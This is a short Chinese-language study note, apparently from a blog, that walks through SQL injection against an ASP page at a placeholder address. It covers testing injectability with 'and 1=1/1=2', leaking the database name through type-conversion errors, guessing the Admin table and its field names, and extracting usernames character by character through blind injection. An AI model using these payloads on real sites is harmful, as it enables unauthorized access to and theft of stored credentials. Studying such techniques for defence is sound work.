天天看点

SQL查询学习记录

判断能否进行SQL注入 :

http://www.mytest.com/showdetail.asp?id=49

;and 1=1

;and 1=2

可以注入

① ② 正常,③ 报错

不可以注入

① 正常,② ③ 报错

数据库名称

;and user>0

char和int比较报错为:

将char值 ”abc” 转换数据类型为 int 的列时发生语法错误。

这样就可以通过报错获得数据库名“abc”啦~

猜表名

ID=49 And (Select Count(*) from Admin)>=0

如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。

表名Admin

猜字段

将Count(*)替换成Count(字段名),用同样的原理猜解字段名

字段名username

猜字段的值(Ascii逐字解码法)

1.测试长度

;and (select top 1 len(username) from Admin)>0

其中top语句用来返回要规定记录的数目。

如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8

2 测试每个字符值

id=49 and (select top 1 unicode(substring(username,1,1)) from Admin)>0

同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。